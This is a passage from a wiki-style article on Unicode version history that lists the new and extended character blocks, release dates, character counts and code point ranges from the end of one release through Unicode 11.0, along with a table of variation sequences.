* '''Devanagari Extended''', containing 28 additional marks, was added.
* '''Hangul Jamo Extended-A''', containing 29 characters for additional old initial consonants in hangul jamo, was added.
* '''Javanese''', containing 91 letters for Javanese script, was added.
* '''Myanmar Extended-A''', containing 28 letters for Khamti Shan in Myanmar, was added.
* '''Tai Viet''', containing 72 letters for Tai Viet script, was added.
* '''Meetei Mayek''', containing 56 letters for Meetei Mayek script, was added.
* '''Hangul Jamo Extended-B''', containing 72 characters for additional old medieval vowels and final consonants in hangul jamo, was added.
* '''Imperial Aramaic''', containing 31 characters for Old Aramaic, was added.
* '''Old South Arabian''', containing 32 letters and numbers for South Arabian, was added.
* '''Avestan''', containing 61 characters for Avestan script, was added.
* '''Inscriptional Parthian''', containing 30 characters for Inscriptional Parthian script, was added.
* '''Inscriptional Pahlavi''', containing 27 characters for Inscriptional Pahlavi script, was added.
* '''Old Turkic''', containing 73 characters for Orkhon script, was added.
* '''Rumi Numeral Symbols''', containing 31 numeric characters used in Fez, Morocco, and elsewhere in North Africa and the Iberian peninsula, between the tenth and seventeenth centuries, was added.
* '''Kaithi''', containing 66 letters for Kaithi script, was added.
* '''Egyptian Hieroglyphs''', containing 1,071 hieroglyphs for Egyptian, was added.
* '''Enclosed Alphanumeric Supplement''', containing 63 additional circled, parenthesized and squared alphanumerics, was added.
* '''Enclosed Ideographic Supplement''', containing 44 squared and tortoised shell bracketed ideographs, was added.
* '''CJK Unified Ideographs Extension C''', containing 4,149 additional Chinese Ideographs, was added.

=== Extended blocks ===

* Abhaz letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Inverted Candrabinbu and additional signs and letters (total 5 characters) were added to '''Devanagari'''.
* Ganda Mark (৻) (total 1 character) was added to '''Bengali'''.
* Religious svasti signs (total 4 characters) were added to '''Tibetan'''.
* Extensions for Khamti Shan and Alton and Phake (total 4 characters) were added to '''Myanmar'''.
* Additional old initial consonants, medival vowels, and old final consonants (total 16 characters) were added to '''Hangul Jamo'''.
* Hyphen and additional syllables (total 10 characters) were added to '''Unified Canadian Aboriginal Syllabics'''.
* Letter Sua and Tham Digit One (total 3 characters) were added to '''New Tai Lue'''.
* Combing Almost Equal to Below ( ᷽) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* The Live Tournosis, Spesmillo and Tenge signs (total 3 characters) were added to '''Currency Symbols'''.
* Additional vulgar fractions from ARIB STD B24 (total 4 characters) were added to '''Number Forms'''.
* Decimal exponent symbol (⏨) from ARIB STD B24 (total 1 characters) was added to '''Miscellaneous Technical'''.
* A soccer ball and symbols from ARIB STD B24 (total 59 characters) were added to '''Miscellaneous Symbols'''.
* Heavy exclamation mark symbol (❗)  from ARIB STD B24 (total 1 character) was added to '''Dingbats'''.
* Traffic sign, dictionary and map symbols from ARIB STD B24 (total 5 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Capital letter turned alpha and additions for shona (total 3 characters) were added to '''Latin Extended-C'''.
* Cryptogrammic letters and combining marks (total 7 characters) were added to '''Coptic'''.
* Word separator middle dot used in Avestan (⸱) (total 1 character) was added to '''Supplemental Punctuation'''.
* Circled ideographs and numbers on black squares from ARIB STD B24 (total 12 characters) were added to '''Enclosed CJK Letters and Months'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Miscellaneous additions for compatibility (total 3 characters) were added to '''CJK Compatibility Ideographs'''.
* Number two and three (total 2 characters) were added to '''Phoenician'''.

== Unicode 6.0 ==

Unicode 6.0 was released in October 11, 2010. It encoded 109,384 characters, adding 2,088 new characters.

=== New blocks ===

* '''Mandaic''', containing 29 letters for Mandaic script, was added.
* '''Batak''', containing 56 letters for Batak script, was added.
* '''Ethiopic Extended-A''', containing 32 letters for Gamo-Gofa-Dawro, Basketo and Gumuz Ethiophic syllables, was added.
* '''Brahmi''', containing 108 characters for ancient Brahmi abugida, was added.
* '''Bamum Supplement''', containing 761 letters for additional Bamum script, was added.
* '''Kana Supplement''', containing 2 characters for archaic katakana, was added.
* '''Playing Cards''', containing 59 playing cards, was added.
* '''Miscellaneous Symbols and Pictographs''', containing 529 additional symbols, was added.
* '''Emoticons''', containing 63 faces, cat faces and gesture symbols, was added.
* '''Transport and Map Symbols''', containing 70 transportation, traffic signs and other symbols, was added.
* '''Alchemical Symbols''', containing 116 symbols for elements, was added.
* '''CJK Unified Ideographs Extension D''', containing 222 miscellaneous Han ideographs, was added.

=== Extended blocks ===

* Azerbaijani letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Kashmiri Yeh and Wavy hamza below (total 2 characters) were added to '''Arabic'''.
* Dependent vowel signs and letters used in Kashmiri and Bihari (total 10 characters) were added to '''Devanagari'''.
* Fraction signs (total 6 characters) were added to '''Oriya'''.
* Letters used in scholarly only and letter dot reph (total 3 characters) were added to '''Malayalam'''.
* Leading and Trailing Mchan Rtags (total 6 characters) were added to '''Tibetan'''.
* Additional combining marks (total 2 characters) were added to '''Ethiopic'''.
* Combining Double Inverted Breve Below (᷼) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* Miscellaneous subscript letters (total 8 characters) were added to '''Superscripts and Subscripts'''.
* Indian Rupee Sign (₹) (total 1 character) was added to '''Currency Symbols'''.
* Pointing double triangle and additional mechanical symbols (total 11 characters) were added to '''Miscellaneous Technical'''.
* Ophiucisus, astronomical symbol for uranus and pentagrams (total 6 characters) were added to '''Miscellaneous Symbols'''.
* Additional heavy punctation marks, raised fist, raised hand, sparkles, heavy arithmetic symbols and curly loops (total 16 characters) were added to '''Dingbats'''.
* Squared logicals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Separator mark and consonant joiner (total 2 characters) were added to '''Tifinagh'''.
* Bopomofo for Hmu and Ge (total 3 characters) were added to '''Bopomofo Extended'''.
* Reversed Tse (total 2 characters) were added to '''Cyrillic Extended-B'''.
* Additional letters (total 15 characters) were added to '''Latin Extended-D'''.
* Pedagogical symbols (total 16 characters) were added to '''Arabic Presentation Forms-A'''.
* Additional squared, black circled and squared letters and regional indicator letters (total 107 characters) were added to '''Enclosed Alphanumeric Supplement'''.
* Squared katakana, squared ideographs and circled advantage and accept (total 13 characters) were added to '''Enclosed Ideographic Supplement'''.

== Unicode 6.1 ==

Unicode 6.1 was released in January 31, 2012. It encoded 110,116 characters, adding 732 new characters.

=== New blocks ===

* '''Arabic Extended-A''' (U+08A0-U+08FF), containing 39 characters, was added.
* '''Sundanese Supplement''' (U+1CC0-U+1CCF), containing 8 characters, was added.
* '''Meetei Mayek Extensions''' (U+AAE0-U+AAFF), containing 23 characters, was added.
* '''Meroitic Hieroglyphs''' (U+10980-U+1099F), containing 32 characters, was added.
* '''Meroitic Cursive''' (U+109A0-U+109FF), containing 26 characters, was added.
* '''Sora Sompeng''' (U+110D0-U+110FF), containing 35 characters, was added.
* '''Chakma''' (U+11100-U+1114F), containing 67 characters, was added.
* '''Sharada''' (U+11180-U+111DF), containing 83 characters, was added.
* '''Takri''' (U+11680-U+116CF), containing 66 characters, was added.
* '''Miao''' (U+16F00-U+16F9F), containing 133 characters, was added.
* '''Arabic Mathematical Alphabetic Symbols''' (U+1EE00-U+1EEFF), containing 143 characters, was added.

=== Extended blocks ===

* An Armenian Dram sign (total 1 character) was added to '''Armenian'''. (U+058F)
* A sign Samvat (total 1 character) was added to '''Arabic'''. (U+0604)
* An Abbreviation mark (total 1 character) was added to '''Gujarati'''. (U+0AF0)
* Letters for Khmu (total 2 characters) were added to '''Lao'''. (U+0EDE-U+0EDF)
* Capital letter Yn, letter Aen, Hard and Labial sign (total 5 characters) were added to '''Georgian'''. (U+10C7, U+10CD and U+10FD-U+10FF)
* Letters and signs for Old Sundanese (total 9 characters) were added to '''Sundanese'''. (U+1BAB-U+1BAD and U+1BBA-U+1BBF)
* Sign Rotated Ardhavisarga, Candra Above, Jihvamuliya and Uphadhmaniya (total 4 characters) were added to '''Vedic Extensions'''. (U+1CF3-U+1CF6)
* Mathematical diagonals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CB and U+27CD)
* A letter Bohairic Khei (total 2 characters) were added to '''Coptic'''. (U+2CF2-U+2CF3)
* Small letters Yn and Aen (total 2 characters) were added to '''Georgian Supplement'''. (U+2D27 and U+2D2D)
* Letters Ye and Yo (total 2 characters) were added to '''Tifinagh'''. (U+2D66-U+2D67)
* (total 10 characters) were added to '''Supplemental Punctuation'''. (U+2E32-U+2E3B)
* An additional ideograph for Kanji (total 1 character) was added to '''CJK Unified Ideographs'''. (U+9FCC)
* Combining letter for Slavonic (total 9 characters) were added to '''Cyrillic Extended-B'''. (U+A674-U+A67B and U+A69F)
* Letter C with Bar, capital letter H with Hook and modifier letters for extended IPA (total 5 characters) were added to '''Latin Extended-D'''. (U+A792-U+A793, U+A7AA and U+A7F8-U+A7F9)
* Some additional ideographs for Korea (total 2 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA2E-U+FA2F)
* Symbols for Canadian legal use (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F16A-U+1F16B)
* Typikon symbols (total 4 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F540-U+1F543)
* (total 13 characters) were added to '''Emoticons'''. (U+1F600, U+1F611, U+1F615, U+1F617, U+1F619, U+1F61B, U+1F61F, U+1F626-U+1F627, U+1F62C, U+1F62E-U+1F62F and U+1F634)

== Unicode 6.2 ==

Unicode 6.2 was released in September 26, 2012. It encoded 110,117 characters, adding only 1 new character.

=== Extended blocks ===

* A Turkish Lira sign (total 1 character) was added to '''Currency Symbols'''. (U+20BA)

== Unicode 6.3 ==

Unicode 6.3 was released in September 30, 2013. It encoded 110,122 characters, adding only 5 new characters.

=== Extended blocks ===

* A Letter mark (total 1 character) was added to '''Arabic'''. (U+061C)
* Isolate directional format characters (total 4 characters) were added to '''General Punctuation'''. (U+2066-U+2069)

== Unicode 7.0 ==

Unicode 7.0 was released in June 16, 2014. It encoded 112,956 characters, adding 2,834 new characters.

=== New blocks ===

* '''Combining Diacritical Marks Extended''' (U+1AB0-U+1AFF), containing 15 marks, was added.
* '''Myanmar Extended-B''' (U+A9E0-U+A9FF), containing 31 letters, was added.
* '''Latin Extended-E''' (U+AB30-U+AB6F), containing 50 letters, was added.
* '''Coptic Epact Numbers''' (U+102E0-U+102FF), containing 28 numbers, was added.
* '''Old Permic''' (U+10350-U+1037F), containing 43 letters, was added.
* '''Elbasan''' (U+10500-U+1052F), containing 50 letters, was added.
* '''Caucasian Albanian''' (U+10530-U+1056F), containing 53 letters and marks, was added.
* '''Linear A''' (U+10600-U+1077F), containing 341 signs, was added.
* '''Palmyrene''' (U+10860-U+1087F), containing 32 letters, was added.
* '''Nabataean''' (U+10880-U+108AF), containing 40 letters and numbers, was added.
* '''Old North Arabian''' (U+10A80-U+10A9F), containing 32 letters and numbers, was added.
* '''Manichaean''' (U+10AC0-U+10AFF), containing 51 characters, was added.
* '''Psalter Pahlavi''' (U+10B80-U+10BAF), containing 29 characters, was added.
* '''Mahajani''' (U+11150-U+1117F), containing 39 letters and signs, was added.
* '''Sinhala Archaic Numbers''' (U+111E0-U+111FF), containing 20 numbers, was added.
* '''Khojki''' (U+11200-U+1124F), containing 61 characters, was added.
* '''Khudawadi''' (U+112B0-U+112FF), containing 69 characters, was added.
* '''Grantha''' (U+11300-U+1137F), containing 83 characters, was added.
* '''Tirhuta''' (U+11480-U+114DF), containing 82 characters, was added.
* '''Siddham''' (U+11580-U+115FF), containing 72 characters, was added.
* '''Modi''' (U+11600-U+1165F), containing 79 characters, was added.
* '''Warang Citi''' (U+118A0-U+118FF), containing 84 letters and numbers, was added.
* '''Pau Cin Hau''' (U+11AC0-U+11AFF), containing 57 characters, was added.
* '''Mro''' (U+16A40-U+16A6F), containing 43 characters, was added.
* '''Bassa Vah''' (U+16AD0-U+16AFF), containing 36 characters, was added.
* '''Pahawh Hmong''' (U+16B00-U+16B8F), containing 127 letters and signs, was added.
* '''Duployan''' (U+1BC00-U+1BC9F), containing 143 characters, was added.
* '''Shorthand Format Controls''' (U+1BCA0-U+1BCAF), containing 4 format characters, was added.
* '''Mende Kikakui''' (U+1E800-U+1E8DF), containing 213 syllables and numbers, was added.
* '''Ornamental Dingbats''' (U+1F650-U+1F67F), containing 48 pictographic characters, was added.
* '''Geometric Shapes Extended''' (U+1F780-U+1F7FF), containing 85 pictographic characters, was added.
* '''Supplemental Arrows-C''' (U+1F800-U+1F8FF), containing 148 pictographic characters, was added.

=== Extended blocks ===

* A capital letter Yot (total 1 character) was added to '''Greek and Coptic'''. (U+037F)
* Letters for Orok, Komi and Khanty (total 8 characters) were added to '''Cyrillic Supplement'''. (U+0528-U+052F)
* An Eternity sign (total 2 characters) were added to '''Armenian'''. (U+058D-U+058E)
* A Number Mark Above (total 1 character) was added to '''Arabic'''. (U+0605)
* Letters for African, Philippine, Turkic, Berber, Belarusian, Palula and Shina languages (total 8 characters) were added to '''Arabic Extended-A'''. (U+08A1, U+08AD-U+08B2 and U+08FF)
* A letter for Marwari (total 1 character) was added to '''Devanagari'''. (U+0978)
* A sign Anji (total 1 character) was added to '''Bengali'''. (U+0980)
* Sign Candrabindu and letter Llla (total 2 characters) were added to '''Telugu'''. (U+0C00 and U+0C34)
* A Sign Candrabindu (total 1 character) was added to '''Kannada'''. (U+0C81)
* A Sign Candrabindu (total 1 character) was added to '''Malayalam'''. (U+0D01)
* Lith Numerals (total 10 characters) were added to '''Sinhala'''. (U+0DE6-U+0DEF)
* Additional Old English runes (total 8 characters) were added to '''Runic'''. (U+16F1-U+16F8)
* Letters Gyan and Tra (total 2 characters) were added to '''Limbu'''. (U+191D-U+191E)
* Signs for Jaiminiya Sama Veda (total 2 characters) were added to '''Vedic Extensions'''. (U+1CF8-U+1CF9)
* Marks for Germanic and American lexicology (total 15 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DE7-U+1DF5)
* Nordic Mark, Manat and Ruble sign (total 3 characters) were added to '''Currency Symbols'''. (U+20BB-U+20BD)
* Playback symbols from Webdings font (total 7 characters) were added to '''Miscellaneous Technical'''. (U+23F4-U+23FA)
* A Scissors symbol from Wingdings 2 font (total 1 character) was added to '''Dingbats'''. (U+2700)
* Arrows for Lithuanian dialectology and symbols from Wingdings 3 font (total 115 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B4D-U+2B4F, U+2B5A-U+2B5F, U+2B60-U+2B73, U+2B76-U+2B95, U+2B98-U+2BB9, U+2BBD-U+2BC8 and U+2BCA-U+2BD1)
* (total 7 characters) were added to '''Supplemental Punctuation'''. (U+2E3C-U+2E42)
* Early Cyrillic letters and letters for Lithuanian dialectology (total 6 characters) were added to '''Cyrillic Extended-B'''. (U+A698-U+A69D)
* Letters for European, American and African orthography (total 18 characters) were  added to '''Latin Extended-D'''. (U+A794-U+A79F, U+A7AB-U+A7AD, U+A7B0-U+A7B1 and U+A7F7)
* Tone marks for Tai Laing and letters for Shwe Palaung (total 4 characters) were added to '''Myanmar Extended-A'''. (U+AA7C-U+AA7F)
* Combining phonetic marks (total 7 characters) were added to '''Combining Half Marks'''. (U+FE27-U+FE2D)
* Additional mathematical symbols (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018B-U+1018C)
* A Greek Tau Rho symbol (total 1 character) was added to '''Ancient Symbols'''. (U+101A0)
* A letter Ess (total 1 character) was added to '''Old Italic'''. (U+1031F)
* A Number Joiner (total 1 character) was added to '''Brahmi'''. (U+1107F)
* Sutra mark and sign Ekam (total 2 characters) were added to '''Sharada'''. (U+111CD and U+111DA)
* Additional cuneiform signs (total 42 characters) were added to '''Cuneiform'''. (U+1236F-U+12398)
* Additional numbers, vulgar fractions and a punctuation mark (total 13 characters) were added to '''Cuneiform Numbers and Punctuation'''. (U+12463-U+1246E and U+12474)
* Red Joker, Fool and trumps (total 23 characters) were added to '''Playing Cards'''. (U+1F0BF and U+1F0E0-U+1F0F5)
* Dingbat normal and negative sans-serif digit zero (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10B-U+1F10C)
* Symbols from Webdings, Wingdings 1 and 2 font (total 209 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F321-U+1F32C, U+1F336, U+1F37D, U+1F394-U+1F39F, U+1F3C5, U+1F3CB-U+1F3CE, U+1F3D4-U+1F3DF, U+1F3F1-U+1F3F7, U+1F43F, U+1F441, U+1F4F8, U+1F4FD-U+1F4FE, U+1F53E-U+1F53F, U+1F544-U+1F54A, U+1F568-U+1F579, U+1F57B-U+1F5A3 and U+1F5A5-U+1F5FA)
* Slightly frowning and smiling faces emoji (total 2 characters) were added to '''Emoticons'''. (U+1F641-U+1F642)
* Symbols from Webdings and Wingdings 2 font (total 27 characters) were added to '''Transport and Map Symbols'''. (U+1F6C6-U+1F6CF, U+1F6E0-U+1F6EC and U+1F6F0-U+1F6F3)

== Unicode 8.0 ==

Unicode 8.0 was released in June 17, 2015. It encoded 120,672 characters, adding 7,716 new characters.

=== New blocks ===

* '''Cherokee Supplement''' (U+AB70-U+ABBF), containing 80 lowercase letters, was added.
* '''Hatran''' (U+108E0-U+108FF), containing 26 letters, was added.
* '''Old Hungarian''' (U+10C80-U+10CFF), containing 108 letters, was added.
* '''Multani''' (U+11280-U+112AF), containing 38 letters, was added.
* '''Ahom''' (U+11700-U+1173F), containing 57 letters, was added.
* '''Early Dynastic Cuneiform''' (U+12480-U+1254F), containing 196 characters, was added.
* '''Anatolian Hieroglyphs''' (U+14400-U+1467F), containing 583 characters, was added.
* '''Sutton SignWriting''' (U+1D800-U+1DAAF), containing 672 signs, was added.
* '''Supplemental Symbols and Pictographs''' (U+1F900-U+1F9FF), containing 15 pictographic characters, was added.
* '''CJK Unified Ideographs Extension E''' (U+2B820-U+2CEAF), containing 5762 characters, was added.

=== Extended blocks ===

* Letters for Arwi (total 3 characters) were added to '''Arabic Extended-A'''. (U+08B3-U+08B4 and U+08E3)
* A letter for Avestan transliteration (total 1 character) was added to '''Gujarati'''. (U+0AF9)
* A letter for Andhra Pradesh (total 1 character) was added to '''Telugu'''. (U+0C5A)
* An archaic letter II (total 1 character) was added to '''Malayalam'''. (U+0D5F)
* A letter Mv and small letters (total 7 characters) were added to '''Cherokee'''. (U+13F5 and U+13F8-U+13FD)
* A Georgian Lari sign (total 1 character) was added to '''Currency Symbols'''. (U+20BE)
* Turned digits (total 2 characters) were added to '''Number Forms'''. (U+218A-U+218B)
* Two headed arrows with triangle arrowheads (total 4 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BEC-U+2BEF)
* Some additional ideographs (total 9 characters) were added to '''CJK Unified Ideographs'''. (U+9FCD-U+9FD5)
* A combining letter Ef (total 1 character) was added to '''Cyrillic Extended-B'''. (U+A69E)
* Sinological dot, phonetic extension for African languages, letters for American and Gabonese orthography (total 7 characters) were added to '''Latin Extended-D'''. (U+A78F and U+A7B2-U+A7B7)
* Sign Siddham and letter Jain Om (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FC-U+A8FD)
* Letters for Yakut transliteration (total 4 characters) were added to '''Latin Extended-E'''. (U+AB60-U+AB63)
* A combining mark for Church Slavonic (total 2 characters) were added to '''Combining Half Marks'''. (U+FE2E-U+FE2F)
* Numerals and vulgar fractions (total 64 characters) were added to '''Meroitic Cursive'''. (U+109BC-U+109BD, U+109C0-U+109CF and U+109D2-U+109FF)
* Sandhi mark, diacritical marks for Kashmiri, sign Siddham and punctuation marks (total 9 characters) were added to '''Sharada'''. (U+111C9-U+111CC and U+111DB-U+111DF)
* Combining Anusvara Above and letter Om (total 2 characters) were added to '''Grantha'''. (U+11300 and U+11350)
* Section marks and alternate letters (total 20 characters) were added to '''Siddham'''. (U+115CA-U+115DD)
* An additional sign (total 1 character) was added to '''Cuneiform'''. (U+12399)
* East-Slavic musical symbols (total 11 characters) were added to '''Musical Symbols'''. (U+1D1DE-U+1D1E8)
* (total 24 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F32D-U+1F32F, U+1F37E-U+1F37F, U+1F3CF-U+1F3D3, U+1F3F8-U+1F3FF, U+1F4FF and U+1F54B-U+1F54F)
* Upside Down Face and Face With Rolling Eyes emoji (total 2 characters) were added to '''Emoticons'''. (U+1F643-U+1F644)
* A Place of Worship emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D0)

== Unicode 9.0 ==

Unicode 9.0, was released in June 21, 2016. It encoded 128,172 characters, adding 7,500 new characters.

=== New blocks ===

* '''Cyrillic Extended-C''' (U+1C80-U+1C8F), containing 9 letters, was added.
* '''Osage''' (U+104B0-U+104FF), containing 72 letters, was added.
* '''Newa''' (U+11400-U+1147F), containing 92 letters, was added.
* '''Mongolian Supplement''' (U+11660-U+1167F), containing 13 letters, was added.
* '''Bhaiksuki''' (U+11C00-U+11C6F), containing 97 letters, was added.
* '''Marchen''' (U+11C70-U+11CBF), containing 68 letters, was added.
* '''Ideographic Symbols and Punctuation''' (U+16FE0-U+16FFF), containing 1 letter, was added.
* '''Tangut''' (U+17000-U+187FF), containing 6125 letters, was added.
* '''Tangut Components''' (U+18800-U+18AFF), containing 755 letters, was added.
* '''Glagolitic Supplement''' (U+1E000-U+1E02F), containing 38 letters, was added.
* '''Adlam''' (U+1E900-U+1E95F), containing 87 letters, was added.

=== Extended blocks ===

* Letters for Bravanese, Warsh and Quranic marks used in Pakistan (total 23 characters) were added to '''Arabic Extended-A'''. (U+08B6-U+08BD and U+08D4-U+08E2)
* A sign Spacing Candrabindu (total 1 character) were added to '''Kannada'''. (U+0C80)
* Sign Para, Chillu letters and vulgar fractions (total 14 characters) were added to '''Malayalam'''. (U+0D4F, U+0D54-U+0D56, U+0D58-U+0D5E and U+0D76-U+0D78)
* A diacritical mark for Newa (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFB)
* Power symbols (total 4 characters) were added to '''Miscellaneous Technical'''. (U+23FB-U+23FE)
* Punctuation marks for Church Slavonic (total 2 characters) were added to '''Supplemental Punctuation'''. (U+2E43-U+2E44)
* A letter for Unifon (total 1 character) was added to '''Latin Extended-D'''. (U+A7AE)
* A sign Candrabindu (total 1 character) was added to '''Saurashtra'''. (U+A8C5)
* Indiction sign and a currency symbol (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018D-U+1018E)
* A sign Sukun (total 1 character) was added to '''Khojki'''. (U+1123E)
* Japanese TV symbols (total 18 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F19B-U+1F1AC)
* A Japanese TV symbol (total 1 character) was added to '''Enclosed Ideographic Supplement'''. (U+1F23B)
* A dancing man and Black Heart emoji (total 2 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F57A and U+1F5A4)
* Octagonal Sign, Shopping Trolley, scooters and a Canoe emoji (total 5 characters) were added to '''Transport and Map Symbols'''. (U+1F6D1-U+1F6D2 and U+1F6F4-U+1F6F6)
* (total 67 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F919-U+1F91E, U+1F920-U+1F927, U+1F930, U+1F933-U+1F93E, U+1F940-U+1F94B, U+1F950-U+1F95E and U+1F985-U+1F991)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|0030 FE00
|
|short diagonal stroke form # DIGIT ZERO
|-
|1000 FE00
|
|dotted form # MYANMAR LETTER KA
|-
|1002 FE00
|
|dotted form # MYANMAR LETTER GA
|-
|1004 FE00
|
|dotted form # MYANMAR LETTER NGA
|-
|1010 FE00
|
|dotted form # MYANMAR LETTER TA
|-
|1011 FE00
|
|dotted form # MYANMAR LETTER THA
|-
|1015 FE00
|
|dotted form # MYANMAR LETTER PA
|-
|1019 FE00
|
|dotted form # MYANMAR LETTER MA
|-
|101A FE00
|
|dotted form # MYANMAR LETTER YA
|-
|101C FE00
|
|dotted form # MYANMAR LETTER LA
|-
|101D FE00
|
|dotted form # MYANMAR LETTER WA
|-
|1022 FE00
|
|dotted form # MYANMAR LETTER SHAN A
|-
|1031 FE00
|
|dotted form # MYANMAR VOWEL SIGN E
|-
|1075 FE00
|
|dotted form # MYANMAR LETTER SHAN KA
|-
|1078 FE00
|
|dotted form # MYANMAR LETTER SHAN CA
|-
|107A FE00
|
|dotted form # MYANMAR LETTER SHAN NYA
|-
|1080 FE00
|
|dotted form # MYANMAR LETTER SHAN THA
|-
|2205 FE00
|
|zero with long diagonal stroke overlay form # EMPTY SET
|-
|AA60 FE00
|
|dotted form # MYANMAR LETTER KHAMTI GA
|-
|AA61 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CA
|-
|AA62 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CHA
|-
|AA63 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JA
|-
|AA64 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JHA
|-
|AA65 FE00
|
|dotted form # MYANMAR LETTER KHAMTI NYA
|-
|AA66 FE00
|
|dotted form # MYANMAR LETTER KHAMTI TTA
|-
|AA6B FE00
|
|dotted form # MYANMAR LETTER KHAMTI NA
|-
|AA6C FE00
|
|dotted form # MYANMAR LETTER KHAMTI SA
|-
|AA6F FE00
|
|dotted form # MYANMAR LETTER KHAMTI FA
|-
|AA7A FE00
|
|dotted form # MYANMAR LETTER AITON RA
|-
|…
|
|278 additional emoji variation sequences
|}

== Unicode 10.0 ==

Unicode 10.0, was released in June 20, 2017. It encoded 136,690 characters, adding 8,518 new characters.

=== New blocks ===

* '''Syriac Supplement''' (U+0860-U+086F), containing 11 characters, was added.
* '''Zanabazar Square''' (U+11A00-U+11A4F), containing 72 characters, was added.
* '''Soyombo''' (U+11A50-U+11AAF), containing 80 characters, was added.
* '''Masaram Gondi''' (U+11D00-U+11D5F), containing 75 characters, was added.
* '''Kana Extended-A''' (U+1B100-U+1B12F), containing 31 characters, was added.
* '''Nushu''' (U+1B170-U+1B2FF), containing 396 characters, was added.
* '''CJK Unified Ideographs Extension F''' (U+2CEB0-U+2EBEF), containing 7,473 characters, was added.

=== Extended blocks ===

* A Vedic Anusvara and Abbreviation mark (total 2 characters) were added to '''Bengali'''. (U+09FC-U+09FD)
* Letters for Arabic transliteration (total 6 characters) were added to '''Gujarati'''. (U+0AFA-U+0AFF)
* A combining Anusvara Above and Viramas (total 3 characters) were added to '''Malayalam'''. (U+0D00 and U+0D3B-U+0D3C)
* A sign Atikrama (total 1 character) was added to '''Vedic Extensions'''. (U+1CF7)
* Combining diacritical marks for Church Slavonic (total 4 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DF6-U+1DF9)
* A Bitcoin sign (total 1 character) was added to '''Currency Symbols'''. (U+20BF)
* An Observe Eye symbol (total 1 character) was added to '''Miscellaneous Technical'''. (U+23FF)
* A Group mark (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2BD2)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E45-U+2E49)
* A letter O with Dot Above (total 1 character) was added to '''Bopomofo'''. (U+312E)
* Ideographs for Slavonic transliteration (total 21 characters) were added to '''CJK Unified Ideographs'''. (U+9FD6-U+9FEA)
* Letters for North Italic (total 3 characters) were added to '''Old Italic'''. (U+1032D-U+1032F)
* An Iteration mark for Nushu (total 1 character) was added to '''Ideographic Symbols and Punctuation'''. (U+16FE1)
* Letters for Hentaigana (total 254 characters) were added to '''Kana Supplement'''. (U+1B002-U+1B0FF)
* Symbols for Chinese Folk religion (total 6 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F260-U+1F265)
* Stupa, Pagoda, Sled and Flying Saucer emoji (total 4 characters) were added to '''Transport and Map Symbols'''. (U+1F6D3-U+1F6D4 and U+1F6F7-U+1F6F8)
* (total 66 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F900-U+1F90B, U+1F91F, U+1F928-U+1F92F, U+1F931-U+1F932, U+1F94C, U+1F95F-U+1F96B, U+1F992-U+1F997 and U+1F9D0-U+1F9E6)

== Unicode 11.0 ==

Unicode 11.0, was released in June 5, 2018. It encoded 137,374 characters, adding 684 new characters.

=== New blocks ===

* '''Georgian Extended''' (U+1C90-U+1CBF), containing 46 characters, was added.
* '''Hanifi Rohingya''' (U+10D00-U+10D3F), containing 50 characters, was added.
* '''Old Sogdian''' (U+10F00-U+10F2F), containing 40 characters, was added.
* '''Sogdian''' (U+10F30-U+10F6F), containing 42 characters, was added.
* '''Dogra''' (U+11800-U+1184F), containing 60 characters, was added.
* '''Gunjala Gondi''' (U+11D60-U+11DAF), containing 63 characters, was added.
* '''Makasar''' (U+11EE0-U+11EFF), containing 25 characters, was added.
* '''Medefaidrin''' (U+16E40-U+16E9F), containing 91 characters, was added.
* '''Mayan Numerals''' (U+1D2E0-U+1D2FF), containing 20 characters, was added.
* '''Indic Siyaq Numbers''' (U+1EC70-U+1ECBF), containing 68 characters, was added.
* '''Chess Symbols''' (U+1FA00-U+1FA6F), containing 14 characters, was added.

=== Extended blocks ===

* Small letters Turned Ayb and Yi with Stroke (total 2 characters) were added to '''Armenian'''. (U+0560 and U+0588)
* A triangle Yod (total 1 character) were added to '''Hebrew'''. (U+05EF)
* A Dantayalan and currency symbols (total 3 characters) were added to '''N'Ko'''. (U+07FD-U+07FF)
* A Small Low Waw (total 1 character) was added to '''Arabic Extended-A'''. (U+08D3)
* A Sandhi mark (total 1 character) was added to '''Bengali'''. (U+09FE)
* An Abbreviation mark (total 1 character) was added to '''Gurmukhi'''. (U+0A76)
* A combining Anusvara Above (total 1 character) was added to '''Telugu'''. (U+0C04)
* A sign Siddham (total 1 character) was added to '''Kannada'''. (U+0C84)
* A letter for Buryat (total 1 character) was added to '''Mongolian'''. (U+1878)
